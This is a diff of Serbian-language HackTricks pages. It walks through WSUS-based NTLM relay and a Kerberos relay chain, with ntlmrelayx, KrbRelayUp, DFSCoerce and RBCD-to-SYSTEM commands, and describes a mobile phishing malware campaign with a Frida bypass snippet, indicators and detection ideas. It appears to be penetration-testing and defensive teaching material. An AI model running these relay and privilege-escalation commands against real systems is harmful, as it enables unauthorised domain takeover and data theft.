3) Pokreni ntlmrelayx sa HTTP listener-om (zahteva Impacket podršku za HTTP listener; vidi PR-ove ispod):
|
||||||
|
ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530
|
||||||
|
|
||||||
|
Drugi uobičajeni ciljevi:
|
||||||
|
- Relay prema SMB (ako je signing isključen) za exec/dump: -t smb://<host>
|
||||||
|
- Relay prema LDAPS za promene u direktorijumu (npr. RBCD): -t ldaps://<DC>
|
||||||
|
- Relay prema AD CS web enrollment (ESC8) da bi se izdao cert i kasnije autentifikovalo preko Schannel/PKINIT:
|
||||||
|
ntlmrelayx.py --http-port 8530 -t http://<CA>/certsrv/certfnsh.asp --adcs --no-http-server
|
||||||
|
Za dublje puteve zloupotrebe AD CS i alatke, pogledaj AD CS stranicu:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
4) Pokreni check-in klijenta ili sačekaj raspored. Sa klijenta:
|
||||||
|
wuauclt.exe /detectnow
|
||||||
|
ili koristi Windows Update UI (Check for updates).
|
||||||
|
|
||||||
|
5) Iskoristi autentifikovane SOCKS sesije (ako -socks) ili direktne rezultate relay-a za post-eksploataciju (promene u LDAP-u, SMB operacije, ili izdavanje AD CS sertifikata za kasniju autentifikaciju).
|
||||||
|
|
||||||
|
Ograničenje HTTPS-a (8531)
|
||||||
|
- Pasivno presretanje WSUS-a preko HTTPS-a je neefikasno osim ako klijenti ne veruju tvom sertifikatu. Bez pouzdanog sertifikata ili nekog drugog prekida TLS-a, NTLM handshake se ne može prikupiti/proslijediti iz WSUS HTTPS saobraćaja.
|
||||||
|
|
||||||
|
Beleške
|
||||||
|
- WSUS je proglašen zastarelim, ali i dalje široko razmešten; HTTP (8530) je i dalje čest u mnogim okruženjima.
|
||||||
|
- Korisni alati: wsusniff.py (posmatraj HTTP WSUS check-ine), wsuspider.sh (enumeriši WUServer/WUStatusServer iz GPO-ova), NetExec reg-query na skali.
|
||||||
|
- Impacket je vratio podršku za HTTP listener u ntlmrelayx u PR #2034 (prvobitno dodat u PR #913).
|
||||||
|
|
||||||
|
### Force NTLM Logins
|
||||||
|
|
||||||
|
U Windows-u možda možete prisiliti neke privilegovane naloge da se autentifikuju prema proizvoljnim mašinama. Pročitajte sledeću stranicu da naučite kako:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Kerberos Relay napad
|
## Kerberos Relay attack
|
||||||
|
|
||||||
**Kerberos relay napad** krade **AP-REQ tiket** iz jedne usluge i ponovo ga koristi protiv druge usluge koja deli **isti ključ računa računara** (jer oba SPN-a sede na istom `$` računu mašine). Ovo funkcioniše iako se **klase usluga SPN-a razlikuju** (npr. `CIFS/` → `LDAP/`) jer je *ključ* koji dekriptuje tiket NT hash mašine, a ne sam SPN string i SPN string nije deo potpisa.
|
A **Kerberos relay attack** ukrade an **AP-REQ ticket** od jedne usluge i ponovo ga koristi protiv druge usluge koja deli **isti ključ računa mašine** (jer su oba SPN-a postavljena na istom `$` mašinskom nalogu). Ovo funkcioniše iako se **service classes** SPN-ova razlikuju (npr. `CIFS/` → `LDAP/`) jer je *ključ* koji dešifruje tiket NT hash mašine, a ne sam SPN string, i SPN string nije deo potpisa.
|
||||||
|
|
||||||
Za razliku od NTLM relay, skakanje je ograničeno na *istu host* ali, ako ciljate protokol koji vam omogućava da pišete u LDAP, možete se povezati u **Resource-Based Constrained Delegation (RBCD)** ili **AD CS upis** i pop **NT AUTHORITY\SYSTEM** u jednom potezu.
|
Za razliku od NTLM relay, skok je ograničen na *isti host*, ali ako ciljate protokol koji vam omogućava pisanje u LDAP, možete u lancu doći do **Resource-Based Constrained Delegation (RBCD)** ili **AD CS enrollment** i preuzeti **NT AUTHORITY\SYSTEM** u jednom potezu.
|
||||||
|
|
||||||
Za detaljne informacije o ovom napadu proverite:
|
Za detaljne informacije o ovom napadu pogledajte:
|
||||||
|
|
||||||
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
||||||
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
||||||
|
|
||||||
- 1. **Osnovi Kerberosa**
|
- 1. **Osnove Kerberosa**
|
||||||
|
|
||||||
| Token | Svrha | Relevancija za relay |
|
| Token | Svrha | Relay relevance |
|
||||||
|-------|---------|-----------------|
|
|-------|---------|-----------------|
|
||||||
| **TGT / AS-REQ ↔ REP** | Dokazuje korisnika KDC-u | netaknuto |
|
| **TGT / AS-REQ ↔ REP** | Dokazuje korisnika KDC-u | nepromenjeno |
|
||||||
| **Servisni tiket / TGS-REQ ↔ REP** | Povezan sa jednim **SPN**; enkriptovan ključem vlasnika SPN-a | zamenljivi ako SPN-ovi dele račun |
|
| **Service ticket / TGS-REQ ↔ REP** | Vezan za jedan **SPN**; enkriptovan ključem vlasnika SPN-a | međusobno zamenjivi ako SPN-ovi dele nalog |
|
||||||
| **AP-REQ** | Klijent šalje `TGS` usluzi | **ono što krademo i ponovo koristimo** |
|
| **AP-REQ** | Klijent šalje `TGS` usluzi | **ono što krademo i ponovo koristimo** |
|
||||||
|
|
||||||
* Tiketi su enkriptovani sa **ključem izvedenim iz lozinke računa koji poseduje SPN**.
|
* Tiketi su enkriptovani sa **ključem izvedenim iz lozinke naloga koji je vlasnik SPN-a**.
|
||||||
* **Authenticator** unutar AP-REQ ima vremensku oznaku od 5 minuta; ponovna upotreba unutar tog okvira je validna dok keš usluge ne vidi duplikat.
|
* **Authenticator** unutar AP-REQ ima vremensku oznaku od 5 minuta; reprodukcija unutar tog prozora važi dok servisni keš ne detektuje duplikat.
|
||||||
* Windows retko proverava da li se SPN string u tiketu poklapa sa uslugom koju pogodite, tako da tiket za `CIFS/HOST` obično dobro dekriptuje na `LDAP/HOST`.
|
* Windows retko proverava da li SPN string u tiketu odgovara servisu koji ciljate, tako da tiket za `CIFS/HOST` obično uspešno dešifruje na `LDAP/HOST`.
|
||||||
|
|
||||||
- 2. **Šta mora biti tačno da bi se relayed Kerberos**
|
- 2. **Šta mora biti ispunjeno za Kerberos relay**
|
||||||
|
|
||||||
1. **Zajednički ključ:** izvorni i ciljni SPN-ovi pripadaju istom računu računara (podrazumevano na Windows serverima).
|
1. **Shared key:** izvorni i ciljni SPN-ovi pripadaju istom računu mašine (podrazumevano na Windows serverima).
|
||||||
2. **Bez zaštite kanala:** SMB/LDAP potpis isključen i EPA isključen za HTTP/LDAPS.
|
2. **No channel protection:** SMB/LDAP signing isključen i EPA isključen za HTTP/LDAPS.
|
||||||
3. **Možete presresti ili primorati autentifikaciju:** LLMNR/NBNS otrov, DNS spoof, **PetitPotam / DFSCoerce RPC**, lažni AuthIP, rogue DCOM, itd.
|
3. **You can intercept or coerce authentication:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, fake AuthIP, rogue DCOM, itd.
|
||||||
4. **Izvor tiketa nije već korišćen:** pobedite u trci pre nego što pravi paket stigne ili ga potpuno blokirajte; inače, keš ponovne upotrebe servera aktivira Događaj 4649.
|
4. **Ticket source not already used:** morate pobediti u trci pre nego što stigne pravi paket ili ga potpuno blokirati; u suprotnom servisni replay keš generiše Event 4649.
|
||||||
5. Na neki način morate biti u mogućnosti da izvršite **MitM u komunikaciji**, možda kao deo grupe DNSAmins da biste izmenili DNS domena ili da biste mogli da promenite HOST datoteku žrtve.
|
5. Morate na neki način moći da izvršite **MitM in the communication** — možda biti deo DNSAmins grupe da izmenite DNS domena ili imati mogućnost da promenite HOST fajl žrtve.
|
||||||
|
|
||||||
### Koraci Kerberos Relay
|
### Kerberos Relay Steps - 3.1 **Recon the host**
|
||||||
|
|
||||||
- 3.1 **Recon host**
|
|
||||||
```powershell
|
```powershell
|
||||||
# find servers where HTTP, LDAP or CIFS share the same machine account
|
# find servers where HTTP, LDAP or CIFS share the same machine account
|
||||||
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
||||||
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
||||||
Select Name,servicePrincipalName
|
Select Name,servicePrincipalName
|
||||||
```
|
```
|
||||||
- 3.2 **Pokrenite relays slušalac**
|
- 3.2 **Pokrenite relay listener**
|
||||||
|
|
||||||
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
||||||
```powershell
|
```powershell
|
||||||
# one-click local SYSTEM via RBCD
|
# one-click local SYSTEM via RBCD
|
||||||
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
||||||
```
|
```
|
||||||
`KrbRelayUp` obavija **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** u jednoj binarnoj datoteci.
|
`KrbRelayUp` objedinjava **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** u jedan binarni fajl.
|
||||||
|
|
||||||
- 3.3 **Prisiliti Kerberos autentifikaciju**
|
- 3.3 **Coerce Kerberos auth**
|
||||||
```powershell
|
```powershell
|
||||||
# coerce DC to auth over SMB with DFSCoerce
|
# coerce DC to auth over SMB with DFSCoerce
|
||||||
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
||||||
```
|
```
|
||||||
DFSCoerce čini da DC pošalje Kerberos `CIFS/DC01` tiket nama.
|
DFSCoerce natera DC da nam pošalje Kerberos `CIFS/DC01` ticket.
|
||||||
|
|
||||||
- 3.4 **Preusmeri AP-REQ**
|
- 3.4 **Prosledi AP-REQ**
|
||||||
|
|
||||||
KrbRelay izvlači GSS blob iz SMB, ponovo ga pakuje u LDAP bind i prosleđuje ga `ldap://DC01`—autentifikacija uspeva jer **isti ključ** dešifruje.
|
KrbRelay izvlači GSS blob iz SMB-a, upakuje ga u LDAP bind i prosleđuje ga na `ldap://DC01` — autentifikacija uspeva jer ga dekriptuje **isti ključ**.
|
||||||
|
|
||||||
- 3.5 **Zloupotreba LDAP ➜ RBCD ➜ SYSTEM**
|
- 3.5 **Iskoristi LDAP ➜ RBCD ➜ SYSTEM**
|
||||||
```powershell
|
```powershell
|
||||||
# (auto inside KrbRelayUp) manual for clarity
|
# (auto inside KrbRelayUp) manual for clarity
|
||||||
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
||||||
@ -186,38 +245,42 @@ SCMUACBypass.exe
|
|||||||
```
|
```
|
||||||
Sada posedujete **NT AUTHORITY\SYSTEM**.
|
Sada posedujete **NT AUTHORITY\SYSTEM**.
|
||||||
|
|
||||||
### **Još neki putevi koje vredi znati**
|
|
||||||
|
|
||||||
| Vektor | Trik | Zašto je to važno |
|
### **Još puteva koji vredi znati**
|
||||||
|
|
||||||
|
| Vector | Trick | Why it matters |
|
||||||
|--------|-------|----------------|
|
|--------|-------|----------------|
|
||||||
| **AuthIP / IPSec** | Lažni server šalje **GSS-ID payload** sa bilo kojim SPN; klijent pravi AP-REQ direktno ka vama | Radi čak i preko podmreža; mašinske kredencijale po defaultu |
|
| **AuthIP / IPSec** | Fake server sends a **GSS-ID payload** with any SPN; client builds an AP-REQ straight to you | Works even across subnets; machine creds by default |
|
||||||
| **DCOM / MSRPC** | Zlonamerna OXID rezolucija prisiljava klijenta da se autentifikuje na proizvoljni SPN i port | Čista *lokalna* privilegija-eskalacija; zaobilazi firewall |
|
| **DCOM / MSRPC** | Malicious OXID resolver forces client to auth to arbitrary SPN and port | Čista *lokalna* priv-esc; zaobilazi firewall |
|
||||||
| **AD CS Web Enroll** | Preusmerite mašinski tiket na `HTTP/CA` i dobijte sertifikat, zatim **PKINIT** za kreiranje TGT-ova | Zaobilazi LDAP potpisne odbrane |
|
| **AD CS Web Enroll** | Relay machine ticket to `HTTP/CA` and get a cert, then **PKINIT** to mint TGTs | Bypasses LDAP signing defenses |
|
||||||
| **Shadow Credentials** | Napišite `msDS-KeyCredentialLink`, zatim PKINIT sa lažnim parom ključeva | Nema potrebe dodavati račun računara |
|
| **Shadow Credentials** | Write `msDS-KeyCredentialLink`, then PKINIT with forged key pair | No need to add a computer account |
|
||||||
|
|
||||||
### **Rešavanje problema**
|
### **Otklanjanje problema**
|
||||||
|
|
||||||
| Greška | Značenje | Rešenje |
|
| Greška | Značenje | Rešenje |
|
||||||
|-------|---------|-----|
|
|-------|---------|-----|
|
||||||
| `KRB_AP_ERR_MODIFIED` | Ključ tiketa ≠ ključ cilja | Pogrešan host/SPN |
|
| `KRB_AP_ERR_MODIFIED` | Ticket key ≠ target key | Pogrešan host/SPN |
|
||||||
| `KRB_AP_ERR_SKEW` | Sat > 5 min razlike | Sinhronizujte vreme ili koristite `w32tm` |
|
| `KRB_AP_ERR_SKEW` | Clock > 5 min offset | Sinhronizuj vreme ili koristi `w32tm` |
|
||||||
| LDAP vezivanje ne uspeva | Potpisivanje je primorano | Koristite AD CS putanju ili onemogućite potpisivanje |
|
| LDAP bind fails | Signing enforced | Koristi AD CS path ili onemogući potpisivanje |
|
||||||
| Spam događaja 4649 | Usluga je videla duplikat autentifikatora | blokirajte ili trkajte originalni paket |
|
| Event 4649 spam | Service saw duplicate Authenticator | block or race original packet |
|
||||||
|
|
||||||
|
|
||||||
### **Detekcija**
|
### **Detekcija**
|
||||||
|
|
||||||
* Porast u **Događaju 4769** za `CIFS/`, `HTTP/`, `LDAP/` iz istog izvora u roku od nekoliko sekundi.
|
* Nagli porast **Event 4769** za `CIFS/`, `HTTP/`, `LDAP/` sa istog izvora u roku od nekoliko sekundi.
|
||||||
* **Događaj 4649** na usluzi ukazuje na detektovanu reprodukciju.
|
* **Event 4649** na servisu ukazuje na otkriven replay.
|
||||||
* Kerberos prijava sa **127.0.0.1** (preusmeravanje na lokalni SCM) je veoma sumnjiva—mapirajte putem Sigma pravila u KrbRelayUp dokumentima.
|
* Kerberos prijava sa **127.0.0.1** (relay ka lokalnom SCM) je vrlo sumnjiva — mapiraj preko Sigma pravila u KrbRelayUp docs.
|
||||||
* Pratite promene na atributima `msDS-AllowedToActOnBehalfOfOtherIdentity` ili `msDS-KeyCredentialLink`.
|
* Prati izmene atributa `msDS-AllowedToActOnBehalfOfOtherIdentity` ili `msDS-KeyCredentialLink`.
|
||||||
|
|
||||||
## **Ojačavanje**
|
## **Ojačavanje**
|
||||||
|
|
||||||
1. **Primorajte LDAP & SMB potpisivanje + EPA** na svakom serveru.
|
1. **Enforce LDAP & SMB signing + EPA** na svakom serveru.
|
||||||
2. **Podelite SPN-ove** tako da HTTP nije na istom računu kao CIFS/LDAP.
|
2. **Split SPNs** tako da HTTP nije na istom nalogu kao CIFS/LDAP.
|
||||||
3. Zakrpite vektore prinude (PetitPotam KB5005413, DFS, AuthIP).
|
3. Zakrpi vektore prinude (PetitPotam KB5005413, DFS, AuthIP).
|
||||||
4. Postavite **`ms-DS-MachineAccountQuota = 0`** da zaustavite neovlašćena pridruživanja računara.
|
4. Postavi **`ms-DS-MachineAccountQuota = 0`** da zaustaviš neautorizovana pridruživanja računara.
|
||||||
5. Upozorite na **Događaj 4649** i neočekivane loopback Kerberos prijave.
|
5. Alertuj na **Event 4649** i neočekivane loopback Kerberos prijave.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## Reference
|
## Reference
|
||||||
|
|
||||||
@ -226,5 +289,13 @@ Sada posedujete **NT AUTHORITY\SYSTEM**.
|
|||||||
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
||||||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||||
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
||||||
|
- [WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)](https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight)
|
||||||
|
- [GoSecure – Abusing WSUS to enable NTLM relaying attacks](https://gosecure.ai/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks)
|
||||||
|
- [Impacket PR #2034 – Restore HTTP server in ntlmrelayx](https://github.com/fortra/impacket/pull/2034)
|
||||||
|
- [Impacket PR #913 – HTTP relay support](https://github.com/fortra/impacket/pull/913)
|
||||||
|
- [WSUScripts – wsusniff.py](https://github.com/Coontzy1/WSUScripts/blob/main/wsusniff.py)
|
||||||
|
- [WSUScripts – wsuspider.sh](https://github.com/Coontzy1/WSUScripts/blob/main/wsuspider.sh)
|
||||||
|
- [MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsusod/e00a5e81-c600-40d9-96b5-9cab78364416)
|
||||||
|
- [Microsoft – WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -3,65 +3,65 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!INFO]
|
> [!INFO]
|
||||||
> Ova stranica pokriva tehnike koje koriste threat actors za distribuciju **malicious Android APKs** i **iOS mobile-configuration profiles** putem phishinga (SEO, social engineering, lažne prodavnice, dating apps, itd.).
|
> Ova stranica obuhvata tehnike koje koriste threat actors za distribuciju **malicious Android APKs** i **iOS mobile-configuration profiles** putem phishing (SEO, social engineering, fake stores, dating apps, itd.).
|
||||||
> Materijal je adaptiran iz SarangTrap kampanje otkrivene od strane Zimperium zLabs (2025) i drugih javno dostupnih istraživanja.
|
> Materijal je adaptiran iz kampanje SarangTrap otkrivene od strane Zimperium zLabs (2025) i drugih javno dostupnih istraživanja.
|
||||||
|
|
||||||
## Tok napada
|
## Tok napada
|
||||||
|
|
||||||
1. **SEO/Phishing Infrastructure**
|
1. **SEO/Phishing Infrastructure**
|
||||||
* Registrujte desetine sličnih domena (dating, cloud share, car service…).
|
* Registrujte desetine sličnih domena (dating, cloud share, car service…).
|
||||||
– Koristite lokalne ključne reči i emotikone u `<title>` elementu da biste se bolje rangirali na Google.
|
– Koristite ključne reči na lokalnom jeziku i emotikone u `<title>` elementu da se rangirate na Google.
|
||||||
– Smeštajte *i* Android (`.apk`) i iOS uputstva za instalaciju na istoj landing stranici.
|
– Hostujte na istoj landing stranici uputstva za instalaciju za Android (`.apk`) i iOS.
|
||||||
2. **First Stage Download**
|
2. **First Stage Download**
|
||||||
* Android: direktan link do *unsigned* ili “third-party store” APK-a.
|
* Android: direktan link do *unsigned* ili “third-party store” APK-a.
|
||||||
* iOS: `itms-services://` ili običan HTTPS link ka zlonamernom **mobileconfig** profilu (vidi dole).
|
* iOS: `itms-services://` ili običan HTTPS link ka malicioznom **mobileconfig** profilu (vidi dole).
|
||||||
3. **Post-install Social Engineering**
|
3. **Post-install Social Engineering**
|
||||||
* Pri prvom pokretanju app traži **invitation / verification code** (iluzija ekskluzivnog pristupa).
|
* Pri prvom pokretanju aplikacija traži **invitation / verification code** (iluzija ekskluzivnog pristupa).
|
||||||
* Kod se **POSTuje preko HTTP** ka Command-and-Control (C2).
|
* Kod se **POSTed over HTTP** na Command-and-Control (C2).
|
||||||
* C2 vraća `{"success":true}` ➜ malware nastavlja sa radom.
|
* C2 odgovara `{"success":true}` ➜ malware nastavlja.
|
||||||
* Sandbox / AV dinamička analiza koja nikada ne pošalje validan kod ne vidi **maliciozno ponašanje** (evasion).
|
* Sandbox / AV dinamička analiza koja nikada ne pošalje validan kod ne uoči **maliciozno ponašanje** (evasion).
|
||||||
4. **Runtime Permission Abuse** (Android)
|
4. **Runtime Permission Abuse** (Android)
|
||||||
* Opasna dopuštenja se traže tek **nakon pozitivnog C2 odgovora**:
|
* Opasne dozvole se traže tek **nakon pozitivnog odgovora C2**:
|
||||||
```xml
|
```xml
|
||||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||||
<!-- Older builds also asked for SMS permissions -->
|
<!-- Older builds also asked for SMS permissions -->
|
||||||
```
|
```
|
||||||
* Novije varijante **uklanjaju `<uses-permission>` za SMS iz `AndroidManifest.xml`** ali ostavljaju Java/Kotlin kod putanju koja čita SMS putem reflection ⇒ snižava statički score dok je i dalje funkcionalno na uređajima koji daju dozvolu preko `AppOps` zloupotrebe ili na starijim ciljevima.
|
* Novije varijante **uklanjaju `<uses-permission>` za SMS iz `AndroidManifest.xml`** ali ostavljaju Java/Kotlin kod koji čita SMS preko reflection ⇒ snižava statički score dok i dalje funkcioniše na uređajima koji daju dozvolu preko `AppOps` abuse ili starih ciljeva.
|
||||||
5. **Facade UI & Background Collection**
|
5. **Facade UI & Background Collection**
|
||||||
* Aplikacija prikazuje bezopasne view-e (SMS viewer, gallery picker) implementirane lokalno.
|
* Aplikacija prikazuje bezopasne view-e (SMS viewer, gallery picker) implementirane lokalno.
|
||||||
* U međuvremenu eksfiltrira:
|
* U međuvremenu eksfiltrira:
|
||||||
- IMEI / IMSI, broj telefona
|
- IMEI / IMSI, broj telefona
|
||||||
- Potpuni dump `ContactsContract` (JSON array)
|
- Potpuni `ContactsContract` dump (JSON array)
|
||||||
- JPEG/PNG iz `/sdcard/DCIM` kompresovane sa [Luban](https://github.com/Curzibn/Luban) da bi se smanjila veličina
|
- JPEG/PNG iz `/sdcard/DCIM` kompresovano pomoću [Luban](https://github.com/Curzibn/Luban) da se smanji veličina
|
||||||
- Opcionalno SMS sadržaj (`content://sms`)
|
- Opcioni sadržaj SMS-a (`content://sms`)
|
||||||
Payloads su **batch-zipped** i šalju se preko `HTTP POST /upload.php`.
|
Payloads su **batch-zipped** i šalju se putem `HTTP POST /upload.php`.
|
||||||
6. **iOS Delivery Technique**
|
6. **iOS Delivery Technique**
|
||||||
* Jedan **mobile-configuration profile** može zahtevati `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` itd. da bi enroll-ovao uređaj u “MDM”-sličan nadzor.
|
* Jedan **mobile-configuration profile** može zahtevati `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` itd. da upiše uređaj u nadzor sličan “MDM”.
|
||||||
* Social-engineering uputstva:
|
* Social-engineering uputstva:
|
||||||
1. Otvorite Settings ➜ *Profile downloaded*.
|
1. Otvorite Settings ➜ *Profile downloaded*.
|
||||||
2. Tapnite *Install* tri puta (screenshot-ovi na phishing stranici).
|
2. Tapnite *Install* tri puta (screenshot-ovi na phishing stranici).
|
||||||
3. Trust unsigned profile ➜ napadač dobija *Contacts* & *Photo* entitlements bez App Store revizije.
|
3. Trust the unsigned profile ➜ napadač dobija *Contacts* & *Photo* entitlement bez App Store pregleda.
|
||||||
7. **Network Layer**
|
7. **Network Layer**
|
||||||
* Plain HTTP, često na portu 80 sa HOST headerom poput `api.<phishingdomain>.com`.
|
* Običan HTTP, često na portu 80 sa HOST headerom kao `api.<phishingdomain>.com`.
|
||||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (nema TLS → lako uočljivo).
|
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (bez TLS-a → lako primetiti).
|
||||||
|
|
||||||
## Defensive Testing / Red-Team Tips
|
## Defensive Testing / Red-Team Tips
|
||||||
|
|
||||||
* **Dynamic Analysis Bypass** – Tokom procene malvera, automatizujte fazu sa invitation kodom pomoću Frida/Objection da biste došli do maliciozne grane.
|
* **Dynamic Analysis Bypass** – Tokom procene malware-a, automatizujte fazu invitation code koristeći Frida/Objection da dođete do malicioznog branch-a.
|
||||||
* **Manifest vs. Runtime Diff** – Uporedite `aapt dump permissions` sa runtime `PackageManager#getRequestedPermissions()`; nedostajuća opasna dopuštenja su crvena zastavica.
|
* **Manifest vs. Runtime Diff** – Uporedite `aapt dump permissions` sa runtime `PackageManager#getRequestedPermissions()`; nedostatak opasnih permisija je crvena zastavica.
|
||||||
* **Network Canary** – Konfigurišite `iptables -p tcp --dport 80 -j NFQUEUE` da detektujete neobične POST burst-ove nakon unosa koda.
|
* **Network Canary** – Konfigurišite `iptables -p tcp --dport 80 -j NFQUEUE` da otkrijete neobične POST burst-ove nakon unosa koda.
|
||||||
* **mobileconfig Inspection** – Koristite `security cms -D -i profile.mobileconfig` na macOS-u da izlistate `PayloadContent` i uočite preterana entitlements.
|
* **mobileconfig Inspection** – Koristite `security cms -D -i profile.mobileconfig` na macOS-u da izlistate `PayloadContent` i uočite prekomerne entitlements.
|
||||||
|
|
||||||
## Blue-Team Detection Ideas
|
## Blue-Team Detection Ideas
|
||||||
|
|
||||||
* **Certificate Transparency / DNS Analytics** za detekciju naglih pojavljivanja domena bogatih ključnim rečima.
|
* **Certificate Transparency / DNS Analytics** za hvatanje naglih izbijanja domena bogatih ključnim rečima.
|
||||||
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` od Dalvik klijenata izvan Google Play.
|
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` od Dalvik klijenata van Google Play.
|
||||||
* **Invite-code Telemetry** – POST 6–8 cifrenih numeričkih kodova ubrzo nakon instalacije APK-a može ukazivati na staging.
|
* **Invite-code Telemetry** – POST 6–8 cifrenih numeričkih kodova ubrzo nakon instalacije APK-a može ukazivati na staging.
|
||||||
* **MobileConfig Signing** – Blokirajte unsigned configuration profiles putem MDM politike.
|
* **MobileConfig Signing** – Blokirajte unsigned configuration profile putem MDM politike.
|
||||||
|
|
||||||
## Useful Frida Snippet: Auto-Bypass Invitation Code
|
## Koristan Frida Snippet: Auto-Bypass Invitation Code
|
||||||
```python
|
```python
|
||||||
# frida -U -f com.badapp.android -l bypass.js --no-pause
|
# frida -U -f com.badapp.android -l bypass.js --no-pause
|
||||||
# Hook HttpURLConnection write to always return success
|
# Hook HttpURLConnection write to always return success
|
||||||
@ -80,7 +80,7 @@ return conn;
|
|||||||
};
|
};
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
## Indikatori (generički)
|
## Indikatori (Generički)
|
||||||
```
|
```
|
||||||
/req/checkCode.php # invite code validation
|
/req/checkCode.php # invite code validation
|
||||||
/upload.php # batched ZIP exfiltration
|
/upload.php # batched ZIP exfiltration
|
||||||
@ -90,17 +90,17 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
|||||||
|
|
||||||
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
||||||
|
|
||||||
This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
|
Ovaj obrazac primećen je u kampanjama koje zloupotrebljavaju teme državnih pomoći kako bi ukrali indijske UPI kredencijale i OTP-ove. Operateri povezuju ugledne platforme radi isporuke i otpornosti.
|
||||||
|
|
||||||
### Delivery chain across trusted platforms
|
### Delivery chain across trusted platforms
|
||||||
- YouTube video kao mamac → opis sadrži skraćeni link
|
- YouTube video lure → opis sadrži skraćeni link
|
||||||
- Skraćeni link → GitHub Pages phishing sajt koji imitira legitimni portal
|
- Skraćeni link → GitHub Pages phishing sajt koji imituje legitimni portal
|
||||||
- Isti GitHub repo hostuje APK sa lažnim “Google Play” znakom koji linkuje direktno na fajl
